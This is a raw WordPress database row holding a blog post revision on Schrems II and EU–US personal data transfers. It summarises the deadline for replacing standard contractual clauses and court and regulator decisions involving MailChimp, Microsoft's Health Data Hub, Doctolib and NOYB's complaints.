class=\"wp-block-quote\"><p>Organisations will have 18 months and 20 days to replace their current SCCs (See para 24 and article 4 in the implementing decision). This is for the organisation who have already SCCs in place. </p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>My advice, as always, is to start with data mapping, minimising, and securing access. Hold the data as a hot potato. Don’t keep it longer than necessary. Keep your archives out of the network. Limit access to data. Train your staff. Be ready for data breach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe the new Biden administration will keep its promise to finalise a new agreement with a change of the US legislation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This part is more political and diplomacy than legal. From a strictly legal point of view, UK should never reached adequacy, especially after the negative vote of the Parliament and the TIGRR plans to depart from the GDPR to make the UK a more business friendly data heaven with the risk of opening backdoors to data transfers to the US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EDPB specifically touch at this point : \'<em>However, adequacy decisions do not prevent data subjects from filing a complaint. Nor do they prevent supervisory authorities from bringing a case before a national court if they have doubts about the validity of a decision, so that a national court can make a reference</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>These negotiations underscore our shared commitment to privacy, data protection and the rule of law and our mutual recognition of the importance of transatlantic data flows to our respective citizens, economies, and societies</em>,” U.S. Commerce Secretary Gina Raimondo and European Commissioner for Justice Didier Reynders said in the statement released by the U.S. Commerce Department.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>A quick look to the EU national courts decision dealing with data transfers complaints :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"https://edpb.europa.eu/news/national-news/2021/bavarian-dpa-baylda-calls-german-company-cease-use-mailchimp-tool_en\" data-type=\"URL\" data-id=\"https://edpb.europa.eu/news/national-news/2021/bavarian-dpa-baylda-calls-german-company-cease-use-mailchimp-tool_en\" target=\"_blank\">The Bavarian court ruled that MailChimp</a> use of email addresses resulting on data transfer to the US created risks of interception and therefore the transfer is unlawful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.pearltrees.com/datarainbow/case-law-suite/id39692843#item373441819\" data-type=\"URL\" data-id=\"https://www.pearltrees.com/datarainbow/case-law-suite/id39692843#item373441819\" target=\"_blank\" rel=\"noreferrer noopener\">A Germain court</a> ruled an employee asking compensation from his employer for sending his data for HR processing to the US had not grant for damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"https://www.cnil.fr/fr/le-conseil-detat-demande-au-health-data-hub-des-garanties-supplementaires\" data-type=\"URL\" data-id=\"https://www.cnil.fr/fr/le-conseil-detat-demande-au-health-data-hub-des-garanties-supplementaires\" target=\"_blank\">French Highest Administrative Court, Conseil d\'Etat</a>, was called by privacy organisations to rule against the processing of medical data DataHub by Microsoft transferring data to the US. The CNIL observations based on the unlawful transfer of data accessible as long as the data was stored on Microsoft servers even when the servers are based in EUROPE, recommended to allow a transitory period until a solution is found. Possibly by introducing an intermediary organisation to anonymised the data. The Conseil d\'Etat in an interim decision gave an injunction to Microsoft to add an addendum to its contract to offer stronger guarantees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"https://www.fasken.com/fr/knowledge/2021/05/13-schrems-ii-and-transfers-of-personal-information\" data-type=\"URL\" data-id=\"https://www.fasken.com/fr/knowledge/2021/05/13-schrems-ii-and-transfers-of-personal-information\" target=\"_blank\">French Highest Administrative Court Conseil d\'Etat</a>, had another preliminary judgement case, in the context of the pandemic with a website Doctolib used as a platform of COVID vaccination appointments using Amazon AWS cloud storage. The CE referring to the Schrems II decision, reminded that before implementing a transfer of personal information with appropriate guarantees, it is necessary to ensure that \"the rights of persons whose personal data personnel are transferred to a third country on the basis of standard data protection clauses benefit from a level of protection substantially equivalent to that guaranteed within the European Union ”. To assess this level of protection, it is in particular necessary to take into account, continues the highest administrative court, (i) the contractual stipulations agreed between the exporter of personal information and the recipient of the transfer established in the third country concerned and (ii ) with regard to possible access by the public authorities of that third country to the personal information thus transferred, the relevant elements of the legal system of the country of destination. After consideration, the CE ruled that the partnership between the French State and Doctolib does not seriously and manifestly unlawful interference with the right to respect for private life and the right to the protection of personal data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Max Schrem\'s NGO, <a href=\"https://noyb.eu/en/update-noybs-101-complaints-eu-us-data-transfers\" data-type=\"URL\" data-id=\"https://noyb.eu/en/update-noybs-101-complaints-eu-us-data-transfers\" target=\"_blank\" rel=\"noreferrer noopener\">NOYB has filed 101 complaints</a> including against Google and Google Analytics, Facebook Connect for unlawful data transfers to the US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was <a href=\"https://www.datenschutz.rlp.de/de/aktuelles/detail/news/detail/News/koordinierte-pruefung-internationaler-datentransfers/\" data-type=\"URL\" data-id=\"https://www.datenschutz.rlp.de/de/aktuelles/detail/news/detail/News/koordinierte-pruefung-internationaler-datentransfers/\" target=\"_blank\" rel=\"noreferrer noopener\">recently reported </a>that <a href=\"https://www.linkedin.com/posts/taubmanbassirian_questionnaire-schrems-ii-activity-6805454331547021312-AzJs/\" data-type=\"URL\" data-id=\"https://www.linkedin.com/posts/taubmanbassirian_questionnaire-schrems-ii-activity-6805454331547021312-AzJs/\" target=\"_blank\" rel=\"noreferrer noopener\">German DPAs</a> are investigating international data transfers, as a part of a cross-border audit. Aiming to enforce the requirements of the Schrems II decision by the European Court of Justice (Case C-311/18), they have developed <a href=\"https://www.linkedin.com/posts/piracybydesign_dpa-hamburg-questionnaire-o365-schrems-activity-6768150743410065408-EGTg\" data-type=\"URL\" data-id=\"https://www.linkedin.com/posts/piracybydesign_dpa-hamburg-questionnaire-o365-schrems-activity-6768150743410065408-EGTg\" target=\"_blank\" rel=\"noreferrer noopener\">coordinated questionnaires</a>, based on which they will be reaching out to companies. Each DPA will independently decide upon its areas of action. Among the latter, they will be assessing (i) the use of email, web tracking and website hosting service providers, (ii) managing applicant data and (ii) intragroup transfers of customer and employee data. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Worth mentioning the issue of transfer of EU data to countries of non adequate data protection is not limited to the US. </p>\n<!-- /wp:paragraph -->','Schrems-II and International data transfers','','inherit','closed','closed','','2054-revision-v1','','','2021-06-21 22:13:16','2021-06-21 22:13:16','',2054,'https://www.datarainbow.eu/?p=2069',0,'revision','',0);
